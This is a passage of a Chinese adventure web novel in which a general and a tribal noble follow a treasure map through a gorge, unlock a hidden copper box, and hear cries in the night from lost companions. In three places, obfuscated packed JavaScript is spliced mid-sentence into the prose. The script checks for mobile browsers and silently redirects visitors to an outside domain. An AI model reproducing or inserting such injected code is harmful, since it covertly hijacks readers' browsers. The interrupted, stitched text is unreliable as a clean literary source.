白阳来查看山洞的内壁和地板,丛英坐在一块石头上擦汗:“你这是按着昨夜你拼好的那副地图走的吗?” 白阳来一面低头看地,一面回答:“正是,我觉得我是对的。” 丛英不置可否,上面营地里那两位也觉得自己是对的。 说到昨日拼图,白阳来道:“你一直没有表达过自己的意见。” 丛英将水囊从嘴边放下,擦了擦唇边的水渍:“没必要,就那么九张图,大不了每一种拼法都试一试,反正也是找路。” 白阳来此时正蹲在地上拨开堆积的树叶和杂草。这处山洞并非全然封闭,在它的顶部有宽大的裂缝,明亮的阳光洒下来,将山洞照得亮堂堂,四周石壁上间或有植物错落生长形成遮挡,以至于阳光并非直晒,又保证了洞中清凉。山洞里的地板也是石头的,不过上面的尘土也积很厚的一层,还掺杂着枯叶和杂草,踩上去倒是触感绵软。蹲在阳光里的白阳来侧头看向坐在阴影中丛英,犹豫了一下没说什么。倒是丛英,眼见他这番欲言又止索性从石头上站起来,走到白阳来身边蹲下,欣赏地看着白阳来悄声道:“白将军真敏锐,这就发现了?” 白阳来丝毫不避,迎着他的目光回道:“丛英公子果然格外敏锐,这就发现我发现了?” 丛英突然笑得很畅快,他这样笑的时候感觉跟在上面的时候长得都不太一样了,白阳来想,这或许才是真正的他,不过身处虎狼环绕之地若是为了自保在人前戴上一层人畜无害的面具也属平常事。 丛英很开心地说:“能遇见你这样的聪明人真好,我能大大方方地做自己而不需要害怕什么,真好。” 白阳来突然被称赞,一时不明,脱口问道:“丛英公子此话何意?” 丛英勾唇一笑说:“你自心明眼亮,看得出我的虚饰伪装,却涵养深厚,不将我拆穿。我反倒可以在你面前真实自在的做我自己,不用怕你暗着害我。你我交往,是光明正大的互利互惠,除了自己的正是,你对我其他的事情既不感兴趣,也不在乎。这才是真正让人觉得轻松自在的相处之道。” 白阳来听后点了点头,亦赞了一句:“公子通透。” 丛英得意的嘿嘿笑,这一笑倒又有些熟悉的样子了。他问白阳来:“你在这儿看了许久,看什么呢?” 白阳来说:“这些黑色的颗粒,我在草原上另一座山的几个山洞中也曾见过。”他在枯草叶中的发现的东西指给丛英看。 丛英定睛一看,发现地上的黑色颗粒数量颇多,虽然乍看不起眼,但只要仔细瞧还是挺明显的。他用手捻了捻,然后凑近闻了闻手上的味道,说:“这是专门用来驱虫的药,制药的方子和工艺都是草原上的一个小部族不外传的秘法,他们部族人少,祖祖辈辈就靠着这个在草原上生存。天气热的时候撒在居住地外围可以驱蚊虫,一般也就十天八天的药效。”丛英拍了拍手:“狮王在草原上一呼万应的时候,这个小部族也曾到王城饮宴,并奉上礼物表示归顺泼岩麻的统领,后来阿克奇坐上王位之后杀人杀得太狠,许多小部族为了保全自己都逃走了。杂部的势力能在数年间迅速壮大阿克奇功不可没。” 白阳来想到了在草原私藏兵器与粮食的那帮人,他们的山洞中也出现了这样的东西,那么很有可能他们与草原上的小部族有所勾结,一同私贩粮食兵器牟利。但,营中的情报显示,中原的粮食在草原上一直卖的很贵,更遑论兵器了,买主会是杂部吗? 丛英说:“此种药有效时呈黑色颗粒状,失效之后便会化为尘土被风吹散。这里的药不知是什么时候撒下去的,现在还保持着颗粒状,说明还有药效,我从未见过如此持久的驱虫药,不知道这是否就是传说中的上品。据说这种驱虫药越是上品越昂贵药效越大,多撒一些下去久而久之蛇虫鼠蚁便会绝迹。我父亲一直不许家里多用这种药,他说一个地方若是只有人没有其他动物,不是好事。” 不但丛英家中不用,塔纳云罗丹一族的聚居地也都不许多用这种秘制的驱虫药。蛇虫鼠蚁虽然令人厌恶,但上天有好生之德,这些东西既然存在,就必然有存在的道理,若是只为了人之私欲便要将蛇虫鼠蚁斩尽杀绝,那这样的人与暴虐地铲除异己、欺压杂部的阿克奇又有何异。 白阳来也站起来拍了拍手,如果是这样的话,那就是说,第一,他们没有找错大方向;第二,接下去的路不用担心路上会突然出现蛇虫鼠蚁干扰他们的行程了。 这两个都能算是好消息,在这两个好消息的振奋之下一行人很快继续出发。峡谷相较上面已是少了大半的燥热,但长时间走下来还是让大家都出了一身的汗,于是,当前方透来一丝清凉水汽的时候,众人不约而同地加快了脚步。 一潭碧水出现在众人面前,深绿色的水面令人意想不到的开阔,对面高高的山岭下有一个高大的洞口隔着这片翡翠一样的湖水正对着白阳来他们走下来的那条路。 一路来的燥热因着一潭碧水几乎尽数消散,湿润而清凉的水气更是将众人赶路的疲累也化解于无形,大家走下水潭所在的谷底,纷纷露出了舒适的笑意。 但向来从容沉稳的白泽将军却看着这一汪碧水略带自我怀疑地皱起了眉头。依照他之前拼成的地图,这座谷底正在通往狮王宝藏的路线上,白阳来翻出地图查看,图上的路线在这个山谷对应的位置确实穿过了一个圆圈。可眼前分明是一个深碧色的水潭,难道,圆圈代表的就是这个水潭?水潭要如何穿过?游过去吗?总感觉这似乎不对啊。 这座山谷下来的路比较陡,丛英手脚并用倒退着从上面下来后,之间大家看行李的看行李,在水边洗手脸的洗手脸,唯有见白阳来手持地图站在潭边一动不动,他看看面水临风而立的美人再看着他面前的水潭,不懂就问:“白将军你这是……专门让我们下来凉快凉快的吗?你又不急着赶路了?” 白阳来用凤眼微斜,用扬起的眼角瞥了他一眼,不想说话。虽然眼前是一片水潭,但真的走错了吗?丛英凑过来看了看地图,这是白阳来按自己拼好之后的顺序重新画的一幅完整的地图,之前引领他们找到这个大峡谷的那张被丛英认为是藏宝地图、后来发现只是九分之一的那一幅位于现在这张整图最下面正中间的位置。丛英指着图上的圈圈:“这个被路线穿过的圆圈指的就是这个水潭吗?” 白阳来将地图挪过去一点方便他看,并询问道:“你觉得呢?图上其他位置标记湖泊不是这样的,你看这里,不是中空的圆圈,而是填实的形状,而且路线也会绕开。” 丛英用拇指与食指抵着下巴做深思状说:“那么就有两种可能。一种,苏善画错了;另一种,路线就是穿过这个水潭的。”他指着水潭那边正对着他们的大洞口说:“你看,那个山洞图上也画得很清楚。” 白阳来也这样想,他相信自己拼的是对的,也相信苏善不会画错。 丛英说:“如果你相信苏善,那咱们就试一试这条路。”丛英相信苏善,他能跟着白阳来走到这里,也就相信白阳来拼好的地图,对错与否,试一试就知道了。 白阳来莞尔一笑:“我信,来吧。” 白阳来将身上不能经水的东西放在岸边,腰上系这一根绳子,隋唐宋高这时一齐站出来帮他拉住绳子以免水中有何不测,丛英在岸边学着大祭司的样子闭着眼高举双手向白阳来赐福:“愿神保佑你!” 准备下水的白阳来突然就想开个玩笑:“草原的神也会保佑我吗?” 丛英感觉正好的时候被人故意打断,肃着一张脸睁开眼睛用不容置疑的权威之声说:“闭嘴!我说保佑就保佑!”一看就是专门为了打断神秘气氛才问的,一个将军竟然如此淘气,真是! 白阳来向水中轻盈一跃,岸上的人屏息凝神,隋唐宋高同时将绳子在自己的手臂上又绕了一圈拉紧绳子。 白阳来在水中愣住,岸上的人见他不动心中同时一紧。 白阳来放下平举在两侧的手,没入水中的手臂沉入深绿色的水中看不见了,岸上众人登时紧张起来,隋唐宋高立刻准备往回拉绳子。 白阳来站了起来。 潭中的水没过他的膝盖,穿着一身白衣的白阳来站在水中面上尽是可笑与无奈,而他也真的在回头望了望岸上的众人之后笑了出来。 岸上之人更是集体住了,仿佛被刚才白阳来愣住的那个神情传染了一样。 丛英没反应过来现在是什么情况,禁不住脱口问道:“不是,你、这就是传说中的‘轻功水上漂’吗?” 白阳来再也忍不住,一下子喷笑出来:“谢谢了,谢谢你宁愿相信我会轻功。” 怪不得图上的路线直接穿过了这个圆圈,潭里的水要都这么浅那确实能直接穿过去。 丛英反应过来之后便开始兴奋:“所以,我们都能这样直接走过去吗?底下都只有这么深?是平的吗?” 白阳来说:“我确定一下。”说着开始左右来回、前前后后地走了走,水面之下的地板脚感平整且坚硬,不似自然形成,走起来像是砖地、石板的感觉。他就这样东南西北地在水潭中趟了不小的一圈,终于走到了对面的山洞处。山东洞口有三级石阶隐没于水中,走上去进了洞中便是平地了。 白阳来在山洞中转了一圈,洞壁下方的地上发现了一圈黑色的颗粒与灰白色的粉末,黑色颗粒就是之前丛英说的上品驱虫药,灰白色粉末白阳来看着似是祛除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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做饭需要用水,白阳来蹲在水潭边上视线略过水面,想找到潭中之水的源头:此潭虽浅水色却作深绿,甚为奇怪。白阳来想:这样的颜色理应是极深之水才有的,并且,潭水如此干净,周围应该有水流进出才对。他转身去山洞另一边的树林中找了一根长长的树枝,一头用力握住,一头伸进水中顶着水底向前移动,就这样从中间向西面一路探过去,待行至水潭西面尽头处时,终于,一直顶着水底的树枝滑落了下去,白阳来握住树枝的一头向水下戳,长长的树枝连同白阳来修长的手臂都尽数没入水中也没有探到底。白阳来又握住树枝向东面如法炮制,果然水潭东西两面的水底与此处峡谷的山壁之间有约五寸宽的缝隙,水潭虽浅但缝隙之下深不可测。白阳来想,如此倒是可以确定,这绝对就是狮王特意设计修建的路线了。 再看水潭四面高耸的山壁,他们一行人是从西南边下来的,正常情况应该会循着水潭旁边通向东南方向的路从这个小谷底东面的山坡上去,继续向东走去;但若是涉过水潭,就像现在这样,那么他们今后行进的大方向就由自西向东改为向北了。 丛英跟着士兵们到后头的密林转了一圈,还摘了几个果子回来。见白阳来提着一根长树枝从水中上来,丛英将一个看起来不错的野果抛给他说:“你怎么比我还爱玩儿水,刚摘的快尝尝。” 确定水是流动的之后,大家生火做饭就方便多了。白阳来巡视一圈确认了队伍中每一个人都情况良好、一心准备吃饭之后,摩挲着手中的果子,坐在了丛英身边,丛英期待地看着他:“尝尝啊,走了这么久的路你不饿吗?” 白阳来渗出汗珠的玉面上浮起一个淡淡的笑:“你吃了吗?好吃吗?” 丛英向后仰了仰,警惕地说:“吃果子就吃果子,我跟你说长得好看别突然乱笑啊,你笑得我有点儿害怕。” 白阳来打量着那个新鲜的野果并没有咬一口的打算:“这个地方撒了那么多驱虫药,不说野物绝迹也差不多了,能结出什么好吃的果子?” 丛英坐正身子反驳道:“结果子是树的事儿,跟虫子有什么关系,乱说。”他摸了摸自己面前的果子,有些失望地说:“不过,这个果子确实不太好吃。后面的林子太密了,树枝遮住了阳光,可能只有高处的果子才会甜。” 白阳来穿好鞋袜说:“你怎么知道高处的果子甜?” 丛英放下果子拍了拍手说:“我爬上去看见了,高处的果子是红彤彤的,不像这几个,颜色这么淡。那几个看着就甜,但是太高了,我怕我上去了不好下来。”塔纳云罗丹的小贵人很懂得保护自己。 白阳来站起来说:“走,领我去看看甜的果子长什么样。”左右饭好还需要些时候,不如先去看看那片等会儿要经过的林地。 丛英领白阳来找到他看中的那棵果子树说:“就是这棵,在下面看不见,你要爬到中间那里,就是有果子的那个地方,然后向上面、东北方向的枝条看,那些的果子不但红,而且大。”还比西北方向枝条上结的多。 白阳来先前为了涉水,一身打扮正是利索的,闻言一个纵跳便上了树,他比丛英高不少,手长脚长力气又大,爬树爬得很快。丛英在下面指导:“不要摘那里的果子,我摘的就是那些,又酸又涩难吃得不行。” 白阳来心想:果然,还好我没吃。他接着向上爬,从这处开始确实就不太好爬了,枝枝叉叉很多,需要先用手拨开才能继续向上,还要边爬边小心,丛英力气小体力弱确实会比较危险。不过,抬头向东北方看去,确实有许多鲜红的果子挂在枝头,很是喜人。 白阳来仔细看着那些果子,在心中算着数目,一人一个应该是够分的,太好了,大家都能甜甜嘴了。 突然,白阳来的眼睛被晃了一下,他立刻向下缩了回去,将自己藏在茂密的树木枝叶里向着刚才晃眼的方向看去,一息、两息……白阳来静静地伏在树上仔细观察,并未发现有人的踪迹。难道是动物?可动物是用什么晃到他眼睛的呢? 丛英在树下仰头仰的脖子酸,索性找了个暖洋洋的地方背靠着石头闭上眼睛小憩一会儿。峡谷之下比上面舒服多了,既有阳光又不燥热,真好。 悠悠梦境中,躺在暄软的树林中睡着的丛英迷迷糊糊中看见一只纯白无暇的巨大白兔端正地坐在他身旁,这只白兔目秀神清,端庄可爱,全身的绒毛尖尖上都发着光,不像动物更似神明,丛英想,莫非入深山真的会有奇遇,他正要开口,只见大白兔举起了毛茸茸的兔爪,向着他的脑袋扔过来一个东西,东西扔近丛英才看清,竟然是一个拳头大的红宝石,这要是砸到头那还得了,丛英赶忙翻身避过,不想这一翻身反而摔到了。嗯,我本来不就是躺着的吗?丛英睁开眼,白阳来正坐在他身边吃果子,见他醒来若无其事地说:“醒了,给你留了两个大的,吃吧,确实甜。”说完起身走了。 坐着睡着又从靠着的地方摔倒的丛英从地上捡起两个又大又红的果子,刚想说什么突然想起方才那个梦:“哎,你刚才是不是拿果子砸我了?” 38.第 38 章 饭后,众人收拾东西,将山洞中他们来过的痕迹尽力扫去。白阳来看着丛英手中的地图说:“我刚才在那边的山壁上发现了一个山洞,想过去看看。”刚才他虽然被晃了一下眼睛,但一来他观察许久,此处除了他们并无旁人,二来自己从开始走山路彼时的体力状态很不好,就没有立刻追查。现在大家都已经休息了一会儿又进了热食温水,体力精神都已经回复好了,还是花一点儿时间去看看比较安心。 密林旁边的山壁比之水潭所在的山谷要高许多,虽然仍是几乎竖直于地面的却并不平滑,可借力之处颇多,只要有力气又不畏高应当是好爬的。当然,这是白阳来与他的前锋营将士的想法,丛英并不这样想。他说:“太陡了吧,我觉得很不安全,咱们还是找找路吧,刚才那个山洞能通到这里,上面那个山洞说不定也有别的洞口,咱们再找一找。” 白阳来是觉得另找洞口费时间,但丛英的担心也不无道理,于是道:“我试试这些突起牢不牢靠,如果石质太脆那就不爬了。”他拔出自己的精铁匕首,把握着力道向山壁扎去,莲扎了三次,一次比一次用的力道更大。山壁上留下来一个深深的刀口,但刀口整齐,并未向四周扩散开裂。并很好,这说明山壁上的石头坚硬牢靠。丛英也看到了,他虽然有些担心但也只能对白阳来说:“你们小心点儿,不行就下来,要爱惜自己知道吗?” 白阳来从不知哪里摸出一个野果向他砸去,丛英向后侧闪避了一下才抬手去接,等他接到果子再看,白阳来带着隋唐宋高五个人已经爬了快一丈高了。 丛英一手搭在眉上遮着光向上看,另一只手抬起,“啊呜”咬了一口清甜的果子:好吧,我向神祈祷,愿她保佑你这只白绒绒的大兔子一切顺利。 五人谨慎小心地爬上去,快到洞口的时候还趴着听了听,没有听见什么风声之外的声音,这才放心进洞。 这个开在山壁之上的洞里竟然有一面方形的大铜镜,严严实实堵在山洞中,还是倾斜着的,怪不得白阳来在树上会被晃了眼,不过这铜镜风吹日久,镜面已经十分斑驳了,仅能从斑斑点点中稍微看出当年做工的精致细腻。 隋得远拉住想要上前细看的白阳来说:“将军,此处怎会有铜镜?莫不是什么机关。” 罗高川身上背着一捆绳子说:“肯定有蹊跷,听说这镜子可是厉害的法器呢,难道峡谷里有鬼?” 唐竟民和宋宁生同时伸手拍他脑袋:“闭嘴,不许说鬼。” 罗高川辩解道:“现在是白天。”白天不说人就是了,晚上才是不说鬼。 唐竟民跟宋宁生管它什么白天晚上:“白天也不许说,不许说鬼!”这人生地不熟的也不知道说几句吉利话。 隋得远与白阳来在前面仔细观察这个山洞的上下左右,除了一面大镜子满满当当地撑在洞里,别的确实没有发现别的什么。 白阳来说:“我们把镜子移开看看后面。” 罗高川很自然地跟了一句:“后面会不会乱箭齐发。” 洞中除了白阳来之外的三个人异口同声:“闭嘴!” 罗高川委屈地想:唉,为了在外族客人面前显示自己军纪严整,已经好久没有放松说话了,果然许久不说话就是不行,说出来的话别人都不爱听了;就是自己,仔细想想也有些后怕。关键是,罗高川看了看这个山洞,前头是铜镜,后头是绝壁,躲都没处躲。 白阳来屈指敲了敲镜面,感觉是很厚实的一大块铜板制成的,他蹲在镜前说:“我们都站到铜镜后面来,在这一侧一起用力向后推,先慢慢把镜子侧过来一些,看看后面有什么。” 铜镜很重,但他们五个人高马大又吃饱喝足的年轻郎君使着劲儿推,终于还是挪出了一尺多距离,能容人侧身过去看到镜子后头了。 罗高川直起腰来擦着汗向后看去:“啥也没有啊,这都到底了。” 宋宁生走过来巴着他一看也说:“这个洞就这么小?” 白阳来琢磨着说:“难道这个洞就是专门为了放这面镜子而开凿的吗?”那又为何要在这里放一面镜子呢?四人让开位置,他一边想着一边走到了铜镜后面。 铜镜能面向洞口立住,后面自然有支撑的结构,但除了他们想得到的三角状支撑外,镜子的后面、三角支架的中间还有一个四方盒子,大小如燕府放点心的食盒一般,通体光洁没有纹饰,只在侧面开了一个形状奇怪的深孔。白阳来摸了摸身上,只有苏善的匕首和自己紧要随身的东西,于是问另外四人:“你们带蜡烛了吗?” 隋唐宋高四人闻言便开始在身上乱摸,一通摸完后说:“回将军,上来的匆忙,没带蜡烛。”除了个人贴身的武器,隋得远带了水囊,唐竟民带了没吃完的饼,宋宁生带来白阳来饭前给他们摘的果子。罗高川带了一捆绳子。 罗高川:“就爬个山洞你带水干什么?” 隋得远:“带水当然是喝啊,你怎么不问他带果子干什么?” 罗高川:“带果子当然是吃啊,不然呢?” 白阳来叉腰:“别废话了,让下面扔个蜡烛上来,后面太暗看不清。” 隋唐宋高拿蜡烛的办法是:把五人中最瘦小的宋宁生放下去,拿了蜡烛再拉上来。反正罗高川带绳子了。 宋宁生:“我呸!宋某人我身高八尺!” 身高八尺但洞中最矮的宋宁生下去拿了蜡烛然后一跃而起跳上山壁,还没发力攀爬便被上面的三个拉绳子的硬生生拽了上去,一时只觉得自己的腰都要被勒断了,强烈怀疑这三个人根本不是在帮忙。 罗高川蹲在镜子后面举着蜡烛,这个山洞是真的不深,他蹲下去后背都能靠着洞底了。 因为罗高川当先挤了进去,白阳来再站进去之后剩下的人就只能站在外面或是趴在镜面上伸着头看了,铜镜太重,镜子后面空间有限,不过倒也够用了,他们就没有再多费力气搬动。 白阳来仔细看过之后,带着罗高川起身让出位置,好叫剩下的三个人也到后面来看一看。白阳来与罗高川站在镜前,说:“那个盒子里面的东西应该开凿这个山洞的目的,铜镜能反射阳光,用这种方式来作为标记。” 罗高川当然同意他的话:“我看着那个孔洞像是个锁孔,就是比寻常的锁孔大了些形状也奇怪了些。”盒子上的锁孔形状怪异,下面竟然带一点尖尖,看样子不是专门的钥匙根本插不进去。罗高川苦思冥想:“什么东西圆形、齿状、齿形弯曲还带着尖尖呢?像个蝎子尾巴似的。” 阳来听见了他的嘀咕,突然觉得自己对“蝎子尾巴”这个形容似乎十分熟悉,最近定是见过类似的东西,是什么呢? 隋得远将手指伸进孔洞探了探,只摸到凹凸不平的孔壁,手指根本探不到底。唐竟民举着蜡烛趴到地上侧着头想去看那个孔洞里面,还没看清就差点儿被蜡烛滴下来的烛泪烫了睫毛。 丛英跟前锋营的将士们在下面等待,不知道上面情况如何了,也没人来交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472548|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代一声,遂在双手拢在嘴边向上喊道:“你们怎么样了?拿了蜡烛看到什么了?” 这山洞离地三丈左右,下面一喊上面就听见了。白阳来对眼前的情况没有头绪,盒子与铜镜的镜架是连在一起的,如果打不开那也不可能带着走。想来想去,算了,还是先赶路吧,这东西也不一定就是狮王放在这儿的。虽然白阳来直觉这是他们应该拿的,但如果实在拿不走那也没有办法。 五人将镜子照原样移了回去,整理好自己的东西就准备下去了。 已经转身背对洞口准备往下爬的白阳来一手放在胸腹处突然整个人都顿住了,罗高川站在他对面第一个发现情况,忙问:“将军,你怎么了?”周围的隋唐宋也停下了动作看着他。 白阳来一边将手伸进怀中摸索一边说:“出发时苏善公子给了我一把匕首你们还记得吗?” 罗高川抢答:“当然记得,金光闪闪的呢,刀柄刻着花纹,刀鞘上镶了一堆宝石。” 白阳来掏出那把匕首,握着刀鞘举高给大家看匕首形似蝎子尾巴的握柄。 四人愣住。 重新移开铜镜,这次他们将铜镜整个移出了洞底,让镜面对着一侧山壁,这样大家在铜镜背面活动位置就宽敞多了。 白阳来将匕首的握柄插入与镜架中间铜盒上的锁孔之中,左右扭了扭,稍一使力,“锵”地一声,铜盒的一侧向外弹开一个四四方方的格子,守在那边的唐竟民立刻俯下身子去看:“有东西!” 蹲在他对面的罗高川立马问道:“是什么?” 唐竟民几乎要把脸贴上去看了:“不知道啊,是个绸缎包。”他将蜡烛递给隋得远,腾开手去提那个绸缎包,一下子竟没提动,还挺重的。 宋宁生提醒道:“小心些,谁知道里面的东西能不能磕碰。” 唐竟民双手提出来一个方形的绸布包裹着的东西慢慢放到地上,大家一起看白阳来,白阳来亲手解开系着的绸布,绸布滑落,露出里面四四方方的一个铜块。 罗高川:“这是个啥?” 隋得远:“看得出是紫铜的,保存得真好,竟然都没变色。” 白阳来说:“既然拿出来了就带下去,先包好,下去再细看。” 四人围过去包那个铜方块,白阳来一边起身,一边顺手将充作钥匙的匕首拔出来。然而他起身的动作摇晃了一下,插进锁孔中的匕首竟然拔不出来了。不行!这可是苏善给他的,还叮嘱过下次见面要还的。白阳来手下使力,匕首倒插在铜盒上纹丝不动;左右转一转,嗯?竟然转的动,白阳来握着镶满宝石的刀鞘转了七圈后,铜盒又响了一声,竟然将一整个原先盛放绸缎包裹的内壁向上弹了出来。白阳来试探着将这个方形的内壁从盒中拿起来,然后再去拔匕首,这一次很顺利地拔了出来。 罗高川看见这一幕说:“真讲究,这是怕铜疙瘩不好带还给送了个盒儿。” 装好铜方块裹好绸布,五人将铜镜移回原位,白阳来领着他们在镜前拜了三拜,便离开了。 五人回到地上之后,丛英连忙上来看新鲜,打开绸缎包裹,丛英看着这个方正的紫铜块块,越看眉头越皱:“你知道这是什么东西吗?就这么给带下来了。” 白阳来摇头说:“我们赶路要紧,先带着。”若是没用那也无所谓,若是以后用得上,那就省事了。 丛英撇撇嘴:“这么重。” 白阳来说:“是啊,所以希望它有用吧。” 39.第 39 章 白阳来一行沿着地图所知的路线向东南方向继续行进,一路上自有艰难险阻,但在众人的齐心合力之下也都顺利过去了。 第三日夜里,大家围坐一堆吃着晚饭,白阳来说:“我们明日开始折返回营,食物消耗得差不多了。” 丛英野果也差不多要吃腻了,此时返回正好:“咱们走到这里虽然用了三日,但回去应该就快了。” 白阳来也这么想:“现在行李也比来的时候少了一些,能走的更快,若是我们天亮就起来赶路,那走上一日说不定不到后天就能回到营地。” 丛英惊诧不已:“你是这么算的?倒也没有必要赶足十二个时辰的路吧。”白阳来说的“走上一日”就是真的、实打实的“一日”啊。 白阳来笑着说:“返回的时候归心似箭,你说不定是走的最欢的。” 丛英摆手:“山路难行,白将军,归心似箭也要安全第一呀!”看你笑得一双凤眼眯成新月,分明你才是最欢的那个。 白阳来抬起头看天上的一轮明月,对着月亮顺了顺自己的气息,确实,一想到要回去他便突然十分地高兴起来,不好不好,身在未知之地,还是要保持冷静与谨慎,不能高兴忘形! 饭后,白阳来爬上附近最高处俯瞰四周,这个大峡谷中有一个个山峰连着一个一个的小谷地,上上下下地势复杂多变,走起来很累但想要找山洞休息很方便,而且一路上也没有遇到什么野兽,山路虽险,加足了小心也就没有大碍了。 白阳来从未觉得自己是艺高人胆大,大总觉得自己自从死过一次之后运气一直都还不错。就比如他觉得这一路上没有遇到什么野兽,却没有想过他带的是前锋营一整队的精兵,但凡发现野兽他身后一群人眼睛瞬间就绿了,张弓搭箭一气呵成,虽然不是人人都百发百中,但也是一个个都射得很准的。野兽也怕死啊,给他们送了几次新鲜肉食之后还能不知道躲? 白阳来站在高处向四周眺望,丛英在下面喊他:“将军,下来睡了。早睡早起,咱们……” 远处一个声音响起,打断了丛英的话,也将白阳来的注意力吸引了过去:“好像是人的喊声!”但是白阳来听不清。 丛英说:“你站那么高小心点儿,趴下!” 白阳来听话趴下,继续听。 丛英偷偷摸摸藏头露尾地爬了上来,趴在他身边:“说的什么?我怎么听不清。” 白阳来也听不清:“说了好几句,一句都听不清,他们的位置离咱们应该比较远。” 丛英害怕地抱住白阳来一条手臂,抖着声音:“确定是人吗?我什么都看不见啊。” 白阳来很意外地转头看丛英:“我以为你不怕的。” 丛英还在努力往声音传来的方向看,随口说:“什么?” 白阳来拔了拔自己的胳膊,说:“鬼啊。” 丛英本来就抱得死紧,听得这一句更加了无限力气:“晚上不许说鬼!” 白阳来望天:没看见那四个跟丛英说话啊,怎么不该学的全学了。他拍了拍丛英埋在他胳膊上的头说:“你松一松,勒着我了。” 丛英:“噢噢,我不是故意的。”松开了一些。 白阳来说:“我过去看看。” 刚松开的胳膊又被瞬间抱紧:“不行!” 白阳来说:“我虽然没听清说的是什么,但我听到了两个声音,那边应该是有人遇到了危险。” 丛英听他胡说:“你只听见两个声音都不知道说的什么,怎么知道他们有危险?” 白阳来看他这样子,知道自己不解释清楚是走不了的,于是耐心道:“夜半时分、峡谷深处,如果没有危险需要那么大声说话吗?就像你我这样。” 丛英一想也是,松开了手跟着白阳来一起从高处下去,但还是有些害怕:“他们有危险,那你去就不危险吗?” 白阳来在他前方停下,半侧了身回头看着他:“你是说那边会有鬼吗?” 丛英:“啊啊啊不许说那个字!”大晚上的不知道说点儿吉利话! 白阳来说:“别怕,都没我厉害。” 丛英因受惊吓而感到生气:“哼,我本以为你挺谦虚的,这话听着可不像啊。” 白阳来往下一跳落到他们休息的山谷地面上:“实话实说罢了。如果事实证明我不够厉害,那正好,以后尽可以安心练功,再不必为浮名所累了。” 丛英没有学白阳来跳下来,而是笑着走下最后一段路:“是啊,厉害固然很好,没那么厉害也没什么不好,都不过是浮名罢了,真正实实在在的东西只有自己知道。” 白阳来与丛英回到他们今夜休息的山洞中,命令大家做好警戒,挑了几名好手跟自己一起向声音传来的方向摸了过去。 另一边,罗影带着人跟着楼冰尽狂奔在峡谷密林之中,心里有一万句话要把楼冰尽骂死,奈何跑得连气都快要喘不上来了,说话的时间更是一瞬都没有。 楼冰尽万万没想到会在这里遇上这么多蛇虫鼠蚁,不知道的以为广袤峡谷所有的虫蚁都聚集在他们来的路上了。 一个不查,楼冰尽被什么东西绊倒,他大叫:“啊啊啊啊完了完了我要被要死了!” 罗影速度虽快但走山路林地的速度比不过楼冰尽,早就憋了一口气,此时好不容易赶上他,又气又累之下也顾不上压低声音,大吼一声:“闭嘴!”就停在原地弯腰拄膝地只顾得上喘气了。后头罗影带着的几个哥哥拨给他的斥候营精锐也跑了过来,各自原地喘气休息。 不是楼冰尽这一摔,他们还没发现身后已经没有虫子跟着了。众人都是头一次见那样密密麻麻还一样的虫蚁,坚持头皮发麻打心眼儿里被恶心得不行,跑到这里也不知跑了多远。 气息喘匀,罗影才想起,楼冰尽这个家伙他不辨方向的啊!那他们现在这是到哪儿了?头疼,自从与白将军分开罗影觉得自己就没顺过。 楼冰尽跑的头晕,在地上坐了一会儿才爬起来,见罗影又在皱眉,很好心地安慰道:“你别头疼了,想开点儿,虽然我的罗盘丢了,但你不是会分辨方向吗?你仔细看看,咱们现在在哪儿?” 罗影……听后,眉头皱的更紧了:“你给我闭嘴!”这地方还是不是草原他都不确定,要怎么会营里?哥哥和将军一定担心死了。自己到前锋营之后的第一次任务就办砸了,以后可怎么办,真是越想越生气着急。 楼冰尽其实也是很不好意思的,但事到如今他也没有办法,左右看了看,楼冰尽想往旁边走开一点,或许看不到自己罗影的情绪能平复得快一些,毕竟这些天交往下来,楼冰尽知道他要不是气急了不会这么说话。不想他刚一使力,整个人便以迅雷不急掩耳之势扑到在地,罗影在他身边甚至都没来得及拉住他。 “怎么了这是?”罗影连忙单膝跪地扶起他。 楼冰尽咬牙忍痛:“刚才绊的那一跤,脚受伤了,嘶。先前一直没用力还以为没事儿,刚才一使劲儿抽冷子疼了一下,没站住。”他刚才甚至都没反应过来就倒下了,现在才感觉疼痛难忍。 罗影立刻上手去摸:“是哪里疼?这儿?还是这儿?” 楼冰尽龇牙咧嘴:“不不不,不是那儿,也不是那儿。” 后头有人点起了蜡烛递了过来,对罗影说:“将军,我们看了一下,虫蚁早就没有了,这里很干净,兄弟们已经去做火把了。” 罗影应了声“好”,接过蜡烛借着烛光查看楼冰尽的脚腕,已经有些肿了。 罗影说:“忍着点儿,自己拿着蜡烛,我看看骨头断没断。” 楼冰尽哭道:“没断!一定没断,断了还得了,咱们怎么出去。” 罗影轻轻往下摸了摸,应该是脱臼了,他摸到伤处,楼冰尽立马“哎哎”地叫起来,他不动声色地转移冰尽的注意力楼:“你说狮王把宝藏藏在一个峡谷里,真不是骗我的?” 楼冰尽暂时忘了疼痛拿着蜡烛做发誓状:“我真的没有骗你,之前被掳骗到草原的龙门前辈写回来的信里真的是这样说的!就是不知道是不是这片峡谷,但你说你在草原上没见过别的峡谷,咱们又只找到了这儿……” 罗影忍不住笑了一声:“怎么是找到的?咱们不是逃命又迷路将错就错才走到这儿的么?” 楼冰尽将头扭到一边:“对不住,我真的没干什么,我真不知道王城的守卫为什么突然就要追杀我。”他十分自责地说:“多谢罗将军保护我,都是我连累……啊!”楼冰尽一声惨叫直冲九霄,在寂静的夜里传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 